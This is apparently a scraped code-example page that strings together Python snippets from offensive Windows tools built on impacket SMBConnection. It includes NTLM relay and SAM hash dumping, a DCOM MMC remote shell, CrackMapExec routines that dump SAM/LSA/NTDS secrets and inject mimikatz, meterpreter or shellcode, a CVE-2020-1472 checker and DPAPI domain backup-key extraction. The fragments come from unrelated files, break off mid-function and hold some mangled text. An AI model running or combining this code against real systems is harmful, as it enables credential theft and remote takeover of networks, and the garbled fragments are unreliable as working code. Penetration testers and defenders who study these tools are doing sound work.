        if self.extendedSecurity is True:
            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        else:
            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        try:
            packet = self.session.negotiateSessionWildcard(
                None,
                self.targetHost,
                self.targetHost,
                self.targetPort,
                60,
                self.extendedSecurity,
                flags1=SMB.FLAGS1_PATHCASELESS
                | SMB.FLAGS1_CANONICALIZED_PATHS,
                flags2=flags2,
                data=data)
        except socketerror as e:
            if 'reset by peer' in str(e):
                if not self.serverConfig.smb2support:
                    LOG.error(
                        'SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support'
                    )
                else:
                    LOG.error('SMBCLient error: Connection was reset')
            else:
                LOG.error('SMBCLient error: %s' % str(e))
            return False
        if packet[0:1] == b'\xfe':
            preferredDialect = None
            # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21
            if self.serverConfig.remove_target:
                preferredDialect = SMB2_DIALECT_21
            smbClient = MYSMB3(self.targetHost,
                               self.targetPort,
                               self.extendedSecurity,
                               nmbSession=self.session.getNMBServer(),
                               negPacket=packet,
                               preferredDialect=preferredDialect)
        else:
            # Answer is SMB packet, sticking to SMBv1
            smbClient = MYSMB(self.targetHost,
                              self.targetPort,
                              self.extendedSecurity,
                              nmbSession=self.session.getNMBServer(),
                              negPacket=packet)

        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     existingConnection=smbClient,
                                     manualNegotiate=True)

        return True
Beispiel #34
0
    def _get_groupsxml(self, groupsxml_path, gpo_display_name):
        gpo_groups = list()

        content_io = StringIO()

        groupsxml_path_split = groupsxml_path.split('\\')
        gpo_name = groupsxml_path_split[6]
        target = self._domain_controller
        share = groupsxml_path_split[3]
        file_name = '\\'.join(groupsxml_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        # TODO: kerberos login
        smb_connection.login(self._user, self._password, self._domain,
                             self._lmhash, self._nthash)

        smb_connection.connectTree(share)
        try:
            smb_connection.getFile(share, file_name, content_io.write)
        except SessionError:
            return list()

        content = content_io.getvalue().replace('\r', '')
        groupsxml_soup = BeautifulSoup(content, 'xml')

        for group in groupsxml_soup.find_all('Group'):
            members = list()
            memberof = list()
            local_sid = group.Properties.get('groupSid', str())
            if not local_sid:
                if 'administrators' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-544'
                elif 'remote desktop' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-555'
                else:
                    local_sid = group.Properties['groupName']
            memberof.append(local_sid)

            for member in group.Properties.find_all('Member'):
                if not member['action'].lower() == 'add':
                    continue
                if member['sid']:
                    members.append(member['sid'])
                else:
                    members.append(member['name'])

            if members or memberof:
                # TODO: implement filter support (seems like a pain in the ass,
                # I'll do it if the feature is asked). PowerView also seems to
                # have the barest support for filters, so ¯\_(ツ)_/¯

                gpo_group = GPOGroup(list())
                setattr(gpo_group, 'gpodisplayname', gpo_display_name)
                setattr(gpo_group, 'gponame', gpo_name)
                setattr(gpo_group, 'gpopath', groupsxml_path)
                setattr(gpo_group, 'members', members)
                setattr(gpo_group, 'memberof', memberof)

                gpo_groups.append(gpo_group)

        return gpo_groups
Beispiel #35
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(
                string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'),
                IID_IDispatch)
            iMMC = IDispatch(iInterface)

            resp = iMMC.GetIDsOfNames(('Document', ))

            dispParams = DISPPARAMS(None, False)
            dispParams['rgvarg'] = NULL
            dispParams['rgdispidNamedArgs'] = NULL
            dispParams['cArgs'] = 0
            dispParams['cNamedArgs'] = 0
            resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                               dispParams, 0, [], [])

            iDocument = IDispatch(
                self.getInterface(
                    iMMC,
                    resp['pVarResult']['_varUnion']['pdispVal']['abData']))
            resp = iDocument.GetIDsOfNames(('ActiveView', ))
            resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                    dispParams, 0, [], [])

            iActiveView = IDispatch(
                self.getInterface(
                    iMMC,
                    resp['pVarResult']['_varUnion']['pdispVal']['abData']))
            pExecuteShellCommand = iActiveView.GetIDsOfNames(
                ('ExecuteShellCommand', ))[0]

            pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]

            self.shell = RemoteShell(self.__share, (iMMC, pQuit),
                                     (iActiveView, pExecuteShellCommand),
                                     smbConnection)
            if self.__command != ' ':
                self.shell.onecmd(self.__command)
                if self.shell is not None:
                    self.shell.do_exit('')
            else:
                self.shell.cmdloop()
        except (Exception, KeyboardInterrupt), e:
            #import traceback
            #traceback.print_exc()
            if self.shell is not None:
                self.shell.do_exit('')
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)
Beispiel #36
0
class Pipes(Thread):
    def __init__(self, transport, pipe, permissions, share=None):
        Thread.__init__(self)
        self.server = 0
        self.transport = transport
        self.credentials = transport.get_credentials()
        self.tid = 0
        self.fid = 0
        self.share = share
        self.port = transport.get_dport()
        self.pipe = pipe
        self.permissions = permissions
        self.daemon = True

    def connectPipe(self):
        try:
            lock.acquire()
            global dialect
            # self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
            self.server = SMBConnection(
                self.transport.get_smb_connection().getRemoteName(),
                self.transport.get_smb_connection().getRemoteHost(),
                sess_port=self.port,
                preferredDialect=dialect,
            )
            user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
            if self.transport.get_kerberos() is True:
                self.server.kerberosLogin(
                    user,
                    passwd,
                    domain,
                    lm,
                    nt,
                    aesKey,
                    kdcHost=self.transport.get_kdcHost(),
                    TGT=TGT,
                    TGS=TGS,
                )
            else:
                self.server.login(user, passwd, domain, lm, nt)
            lock.release()
            self.tid = self.server.connectTree("IPC$")

            self.server.waitNamedPipe(self.tid, self.pipe)
            self.fid = self.server.openFile(
                self.tid,
                self.pipe,
                self.permissions,
                creationOption=0x40,
                fileAttributes=0x80,
            )
            self.server.setTimeout(1000000)
        except:
            if logging.getLogger().level == logging.DEBUG:
                import traceback

                traceback.print_exc()
            logging.error(
                "Something wen't wrong connecting the pipes(%s), try again"
                % self.__class__
            )
Beispiel #37
0
    def check(self, remote_names):
        # Validate credentials first
        if not self.creds_validated:
            self.validate_creds(remote_names[0])
            self.creds_validated = True

        # CVE-2020-1472 scan is continuous
        if self.__vuln == "CVE-2020-1472":
            while True:
                for remote_host in remote_names:
                    if verify_kerberos_password(
                            remote_host.split(".")[0] + "$", "",
                            ".".join(remote_host.split(".")[1:]), remote_host):
                        logging.info(
                            'Target %s was exploited for CVE-2020-1472!',
                            remote_host)
                    else:
                        logging.info('Target %s was not exploited',
                                     remote_host)
                    time.sleep(1)

        # Now start scanner
        for remote_host in remote_names:
            try:
                smbClient = SMBConnection(
                    remote_host, remote_host, sess_port=int(
                        self.__port))  #, preferredDialect=SMB2_DIALECT_21
            except:
                return
            try:
                # Both cve-2019-1019 and cve-2019-1040 were part of the same KB and can be checked
                # by using cve-2019-1040 can logic
                if self.__vuln in ["CVE-2019-1019", "CVE-2019-1040"]:
                    ntlm.computeResponseNTLMv2 = mod_cve20191040_computeResponseNTLMv2
                if self.__vuln == "CVE-2019-1166":
                    ntlm.computeResponseNTLMv2 = mod_cve20191166_computeResponseNTLMv2
                if self.__vuln == "CVE-2019-1338":
                    ntlm.computeResponseNTLMv2 = mod_cve20191338_computeResponseNTLMv2
                smbClient.login(self.__username, self.__password,
                                self.__domain, self.__lmhash, self.__nthash)
                logging.info(
                    'Target %s is VULNERABLE to %s (authentication was accepted)',
                    remote_host, self.__vuln)
            except SessionError as exc:
                if 'STATUS_INVALID_PARAMETER' in str(exc) and self.__vuln in [
                        "CVE-2019-1019", "CVE-2019-1040", "CVE-2019-1166"
                ]:
                    logging.info(
                        'Target %s is not vulnerable to %s (authentication was rejected)',
                        remote_host, self.__vuln)
                elif 'STATUS_LOGON_FAILURE' in str(
                        exc) and self.__vuln == "CVE-2019-1338":
                    logging.info(
                        'Target %s is not vulnerable to %s (authentication was rejected)',
                        remote_host, self.__vuln)
                else:
                    logging.warning(
                        'Unexpected Exception while authenticating to %s: %s',
                        remote_host, exc)

            smbClient.close()
Beispiel #38
0
def connect(host):
    '''
        My imagination flowed free when coming up with this name
        This is where all the magic happens
    '''

    try:

        smb = SMBConnection(host, host, None, settings.args.port)
        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        print_status(u"{}:{} is running {} (name:{}) (domain:{})".format(host, settings.args.port, smb.getServerOS(), s_name, domain))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            smb = SMBConnection(host, host, None, settings.args.port)

        if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file:

            smb = smart_login(host, smb, domain)
            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                rfs = RemoteFileSystem(host, smb)
                if settings.args.delete:
                    rfs.delete()
                if settings.args.download:
                    rfs.download()
                if settings.args.upload:
                    rfs.upload()
                if settings.args.list:
                    rfs.list()

            if settings.args.enum_shares:
                shares = SHAREDUMP(smb)
                shares.dump(host)

            if settings.args.enum_users:
                users = SAMRDump('{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain, 
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                users.dump(host)

            if settings.args.sam or settings.args.lsa or settings.args.ntds:
                dumper = DumpSecrets(host,
                                     settings.args.port,
                                     'logs/{}'.format(host),
                                     smb,
                                     settings.args.kerb)

                dumper.do_remote_ops()
                if settings.args.sam:
                    dumper.dump_SAM()
                if settings.args.lsa:
                    dumper.dump_LSA()
                if settings.args.ntds:
                    dumper.dump_NTDS(settings.args.ntds,
                                     settings.args.ntds_history,
                                     settings.args.ntds_pwdLastSet)
                dumper.cleanup()

            if settings.args.pass_pol:
                pass_pol = PassPolDump('{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain, 
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                pass_pol.dump(host)

            if settings.args.rid_brute:
                lookup = LSALookupSid(settings.args.user,
                                      settings.args.passwd,
                                      domain,
                                      '{}/SMB'.format(settings.args.port), 
                                      settings.args.hash, 
                                      settings.args.rid_brute)
                lookup.dump(host)

            if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                rpc_query = RPCQUERY(settings.args.user, 
                                     settings.args.passwd, 
                                     domain, 
                                     settings.args.hash)

                if settings.args.enum_sessions:
                    rpc_query.enum_sessions(host)
                if settings.args.enum_disks:
                    rpc_query.enum_disks(host)
                if settings.args.enum_lusers:
                    rpc_query.enum_lusers(host)

            if settings.args.spider:
                smb_spider = SMBSPIDER(host, smb)
                smb_spider.spider(settings.args.spider, settings.args.depth)
                smb_spider.finish()

            if settings.args.wmi_query:
                wmi_query = WMIQUERY(settings.args.user, 
                                     settings.args.passwd, 
                                     domain, 
                                     settings.args.hash,
                                     settings.args.kerb,
                                     settings.args.aesKey)

                wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)

            if settings.args.check_uac:
                uac = UACdump(smb, settings.args.kerb)
                uac.run()

            if settings.args.enable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.enable()

            if settings.args.disable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.disable()

            if settings.args.service:
                service_control = SVCCTL(settings.args.user, 
                                         settings.args.passwd, 
                                         domain,
                                         '{}/SMB'.format(settings.args.port),
                                         settings.args.service, 
                                         settings.args)
                service_control.run(host)

            if settings.args.command:
                EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm)

            if settings.args.pscommand:
                EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm)

            if settings.args.mimikatz:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm)

            if settings.args.mimikatz_cmd:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm)

            if settings.args.powerview:
                #For some reason powerview functions only seem to work when using smbexec...
                #I think we might have a mistery on our hands boys and girls!
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec')

            if settings.args.inject:
                powah_command = PowerShell(settings.args.server, local_ip)
                if settings.args.inject.startswith('met_'):
                    EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm)

                if settings.args.inject == 'shellcode':
                    EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm)

                if settings.args.inject == 'dll' or settings.args.inject == 'exe':
                    EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm)
        try:
            smb.logoff()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose: print_error(str(e))
        return
Beispiel #39
0
    def _get_groupsxml(self, groupsxml_path, gpo_display_name):
        gpo_groups = list()

        content_io = BytesIO()

        groupsxml_path_split = groupsxml_path.split('\\')
        gpo_name = groupsxml_path_split[6]
        target = self._domain_controller
        share = groupsxml_path_split[3]
        file_name = '\\'.join(groupsxml_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        if self._do_kerberos:
            smb_connection.kerberosLogin(self._user, self._password,
                                         self._domain, self._lmhash,
                                         self._nthash)
        else:
            smb_connection.login(self._user, self._password, self._domain,
                                 self._lmhash, self._nthash)

        self._logger.debug('Get File: Share = {0}, file_name ={1}'.format(
            share, file_name))
        smb_connection.connectTree(share)
        try:
            smb_connection.getFile(share, file_name, content_io.write)
        except SessionError:
            self._logger.warning(
                'Error while getting the file {}, skipping...'.format(
                    file_name))
            return list()

        content = content_io.getvalue().replace(b'\r', b'')
        groupsxml_soup = BeautifulSoup(content.decode('utf-8'), 'xml')
        for group in groupsxml_soup.find_all('Group'):
            members = list()
            memberof = list()

            raw_xml_member = group.Properties.find_all('Member')
            if not raw_xml_member:
                continue

            local_sid = group.Properties.get('groupSid', str())

            if not local_sid:
                if 'administrators' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-544'
                elif 'remote desktop' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-555'
                else:
                    local_sid = group.Properties['groupName']
            memberof.append(local_sid)

            for member in raw_xml_member:
                if not member['action'].lower() == 'add':
                    continue
                if member['sid']:
                    members.append(member['sid'])
                else:
                    members.append(member['name'])

            if members or memberof:
                # TODO: implement filter support (seems like a pain in the ass,
                # I'll do it if the feature is asked). PowerView also seems to
                # have the barest support for filters, so ¯\_(ツ)_/¯

                gpo_group = GPOGroup(list())
                gpo_group._attributes_dict['gpodisplayname'] = gpo_display_name
                gpo_group._attributes_dict['gponame'] = gpo_name
                gpo_group._attributes_dict['gpopath'] = groupsxml_path
                gpo_group._attributes_dict['members'] = members
                gpo_group._attributes_dict['memberof'] = memberof

                gpo_groups.append(gpo_group)

        return gpo_groups
Beispiel #40
0
class SMBAttack(ProtocolAttack):
    """
    This is the SMB default attack class.
    It will either dump the hashes from the remote target, or open an interactive
    shell if the -i option is specified.
    """
    PLUGIN_NAMES = ["SMB"]

    def __init__(self, config, SMBClient, username):
        ProtocolAttack.__init__(self, config, SMBClient, username)
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.__answerTMP = ''
        if self.config.interactive:
            #Launch locally listening interactive shell
            self.tcpshell = TcpShell()
        else:
            self.tcpshell = None
            if self.config.exeFile is not None:
                self.installService = serviceinstall.ServiceInstall(
                    SMBClient, self.config.exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info(
                'Started interactive SMB client shell via TCP on 127.0.0.1:%d'
                % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,
                                           self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer(
                    ).get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(
                        flags2=flags2)

                remoteOps = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something went wrong, most probably we don't have access as admin. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(
                        self.config.command)
                    LOG.info("Executed specified command on host: %s",
                             self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output',
                                                 self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print self.__answerTMP.decode(self.config.encoding,
                                                  'replace')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost() +
                                     '_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s",
                             self.__SMBConnection.getRemoteHost())
            except Exception, e:
                LOG.error(str(e))
            finally:
Beispiel #41
0
    def run(self):
        if self.options.action.upper() == 'MASTERKEY':
            fp = open(options.file, 'rb')
            data = fp.read()
            mkf = MasterKeyFile(data)
            mkf.dump()
            data = data[len(mkf):]

            if mkf['MasterKeyLen'] > 0:
                mk = MasterKey(data[:mkf['MasterKeyLen']])
                data = data[len(mk):]

            if mkf['BackupKeyLen'] > 0:
                bkmk = MasterKey(data[:mkf['BackupKeyLen']])
                data = data[len(bkmk):]

            if mkf['CredHistLen'] > 0:
                ch = CredHist(data[:mkf['CredHistLen']])
                data = data[len(ch):]

            if mkf['DomainKeyLen'] > 0:
                dk = DomainKey(data[:mkf['DomainKeyLen']])
                data = data[len(dk):]

            if self.options.system and self.options.security:
                # We have hives, let's try to decrypt with them
                self.getLSA()
                decryptedKey = mk.decrypt(self.dpapiSystem['UserKey'])
                if decryptedKey:
                    print('Decrypted key with UserKey')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = mk.decrypt(self.dpapiSystem['MachineKey'])
                if decryptedKey:
                    print('Decrypted key with MachineKey')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = bkmk.decrypt(self.dpapiSystem['UserKey'])
                if decryptedKey:
                    print('Decrypted Backup key with UserKey')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = bkmk.decrypt(self.dpapiSystem['MachineKey'])
                if decryptedKey:
                    print('Decrypted Backup key with MachineKey')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
            elif self.options.key:
                key = unhexlify(self.options.key[2:])
                decryptedKey = mk.decrypt(key)
                if decryptedKey:
                    print('Decrypted key with key provided')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return

            elif self.options.pvk and dk:
                pvkfile = open(self.options.pvk, 'rb').read()
                key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):])
                private = privatekeyblob_to_pkcs1(key)
                cipher = PKCS1_v1_5.new(private)

                decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None)
                if decryptedKey:
                    domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(
                        decryptedKey)
                    key = domain_master_key[
                        'buffer'][:domain_master_key['cbMasterKey']]
                    print('Decrypted key with domain backup key provided')
                    print('Decrypted key: 0x%s' %
                          hexlify(key).decode('latin-1'))
                return

            elif self.options.sid and self.options.key is None:
                # Do we have a password?
                if self.options.password is None:
                    # Nope let's ask it
                    from getpass import getpass
                    password = getpass("Password:"******"Password:"******"G$BCKUPKEY_PREFERRED", "G$BCKUPKEY_P"):
                buffer = crypto.decryptSecret(
                    connection.getSessionKey(),
                    lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'],
                                                  keyname))
                guid = bin_to_string(buffer)
                name = "G$BCKUPKEY_{}".format(guid)
                secret = crypto.decryptSecret(
                    connection.getSessionKey(),
                    lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'],
                                                  name))
                keyVersion = struct.unpack('<L', secret[:4])[0]
                if keyVersion == 1:  # legacy key
                    backup_key = P_BACKUP_KEY(secret)
                    backupkey = backup_key['Data']
                    if self.options.export:
                        logging.debug(
                            "Exporting key to file {}".format(name + ".key"))
                        open(name + ".key", 'wb').write(backupkey)
                    else:
                        print("Legacy key:")
                        print("0x%s" % hexlify(backupkey))
                        print("\n")

                elif keyVersion == 2:  # preferred key
                    backup_key = PREFERRED_BACKUP_KEY(secret)
                    pvk = backup_key['Data'][:backup_key['KeyLength']]
                    cert = backup_key['Data'][
                        backup_key['KeyLength']:backup_key['KeyLength'] +
                        backup_key['CertificateLength']]

                    # build pvk header (PVK_MAGIC, PVK_FILE_VERSION_0, KeySpec, PVK_NO_ENCRYPT, 0, cbPvk)
                    header = PVK_FILE_HDR()
                    header['dwMagic'] = 0xb0b5f11e
                    header['dwVersion'] = 0
                    header['dwKeySpec'] = 1
                    header['dwEncryptType'] = 0
                    header['cbEncryptData'] = 0
                    header['cbPvk'] = backup_key['KeyLength']
                    backupkey_pvk = header.getData() + pvk  # pvk blob

                    backupkey = backupkey_pvk
                    if self.options.export:
                        logging.debug(
                            "Exporting certificate to file {}".format(name +
                                                                      ".der"))
                        open(name + ".der", 'wb').write(cert)
                        logging.debug(
                            "Exporting private key to file {}".format(name +
                                                                      ".pvk"))
                        open(name + ".pvk", 'wb').write(backupkey)
                    else:
                        print("Preferred key:")
                        header.dump()
                        print("PRIVATEKEYBLOB:{%s}" % (hexlify(backupkey)))
                        print("\n")
            return

        elif self.options.action.upper() == 'CREDENTIAL':
            fp = open(options.file, 'rb')
            data = fp.read()
            cred = CredentialFile(data)
            blob = DPAPI_BLOB(cred['Data'])

            if self.options.key is not None:
                key = unhexlify(self.options.key[2:])
                decrypted = blob.decrypt(key)
                if decrypted is not None:
                    creds = CREDENTIAL_BLOB(decrypted)
                    creds.dump()
                    return
            else:
                # Just print the data
                blob.dump()

        elif self.options.action.upper() == 'VAULT':
            if options.vcrd is None and options.vpol is None:
                print(
                    'You must specify either -vcrd or -vpol parameter. Type --help for more info'
                )
                return
            if options.vcrd is not None:
                fp = open(options.vcrd, 'rb')
                data = fp.read()
                blob = VAULT_VCRD(data)

                if self.options.key is not None:
                    key = unhexlify(self.options.key[2:])

                    cleartext = None
                    for i, entry in enumerate(blob.attributesLen):
                        if entry > 28:
                            attribute = blob.attributes[i]
                            if 'IV' in attribute.fields and len(
                                    attribute['IV']) == 16:
                                cipher = AES.new(key,
                                                 AES.MODE_CBC,
                                                 iv=attribute['IV'])
                            else:
                                cipher = AES.new(key, AES.MODE_CBC)
                            cleartext = cipher.decrypt(attribute['Data'])

                    if cleartext is not None:
                        # Lookup schema Friendly Name and print if we find one
                        if blob['FriendlyName'].decode(
                                'utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS:
                            # Found one. Cast it and print
                            vault = VAULT_KNOWN_SCHEMAS[
                                blob['FriendlyName'].decode('utf-16le')[:-1]](
                                    cleartext)
                            vault.dump()
                        else:
                            # otherwise
                            hexdump(cleartext)
                        return
                else:
                    blob.dump()

            elif options.vpol is not None:
                fp = open(options.vpol, 'rb')
                data = fp.read()
                vpol = VAULT_VPOL(data)
                vpol.dump()

                if self.options.key is not None:
                    key = unhexlify(self.options.key[2:])
                    blob = vpol['Blob']
                    data = blob.decrypt(key)
                    if data is not None:
                        keys = VAULT_VPOL_KEYS(data)
                        keys.dump()
                        return

        print('Cannot decrypt (specify -key or -sid whenever applicable) ')
def connector(target, args, db, module, context, cmeserver):

    try:

        smb = SMBConnection(target, target, None, args.smb_port)

        #Get our IP from the socket
        local_ip = smb.getSMBServer().get_socket().getsockname()[0]

        #Get the remote ip address (in case the target is a hostname)
        remote_ip = smb.getRemoteHost()

        try:
            smb.login('', '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = smb.getServerDomain()
        servername = smb.getServerName()
        serveros = smb.getServerOS()

        if not domain:
            domain = servername

        db.add_host(remote_ip, servername, domain, serveros)

        logger = CMEAdapter(
            getLogger('CME'), {
                'host': remote_ip,
                'port': args.smb_port,
                'hostname': u'{}'.format(servername)
            })

        logger.info(u"{} (name:{}) (domain:{})".format(
            serveros, servername.decode('utf-8'), domain.decode('utf-8')))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            pass

        if args.mssql:
            instances = None
            logger.extra['port'] = args.mssql_port
            ms_sql = tds.MSSQL(target, args.mssql_port, logger)
            ms_sql.connect()

            instances = ms_sql.getInstances(10)
            if len(instances) > 0:
                logger.info("Found {} MSSQL instance(s)".format(
                    len(instances)))
                for i, instance in enumerate(instances):
                    logger.highlight("Instance {}".format(i))
                    for key in instance.keys():
                        logger.highlight(key + ":" + instance[key])

            try:
                ms_sql.disconnect()
            except:
                pass

        if args.username and (args.password or args.hash):
            conn = None

            if args.mssql and (instances is not None and len(instances) > 0):
                conn = tds.MSSQL(target, args.mssql_port, logger)
                conn.connect()
            elif not args.mssql:
                conn = SMBConnection(target, target, None, args.smb_port)

            if conn is None:
                return

            if args.domain:
                domain = args.domain

            connection = Connection(args, db, target, servername, domain, conn,
                                    logger, cmeserver)

            if (connection.password is not None or connection.hash
                    is not None) and connection.username is not None:
                if module is not None:

                    module_logger = CMEAdapter(
                        getLogger('CME'), {
                            'module': module.name.upper(),
                            'host': remote_ip,
                            'port': args.smb_port,
                            'hostname': servername
                        })
                    context = Context(db, module_logger, args)
                    context.localip = local_ip

                    if hasattr(module, 'on_request') or hasattr(
                            module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if hasattr(module, 'on_login'):
                        module.on_login(context, connection)

                    if hasattr(module,
                               'on_admin_login') and connection.admin_privs:
                        module.on_admin_login(context, connection)
                else:
                    if connection.admin_privs and (args.pscommand
                                                   or args.command):

                        get_output = True if args.no_output is False else False
                        if args.mssql: args.exec_method = 'mssqlexec'

                        if args.command:
                            output = connection.execute(
                                args.command,
                                get_output=get_output,
                                method=args.exec_method)

                        if args.pscommand:
                            output = connection.execute(
                                create_ps_command(args.pscommand),
                                get_output=get_output,
                                method=args.exec_method)

                        logger.success(
                            'Executed command {}'.format('via {}'.format(
                                args.exec_method) if args.exec_method else ''))
                        buf = StringIO(output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    if args.mssql and args.mssql_query:
                        conn.sql_query(args.mssql_query)
                        query_output = conn.printRows()

                        logger.success('Executed MSSQL query')
                        buf = StringIO(query_output).readlines()
                        for line in buf:
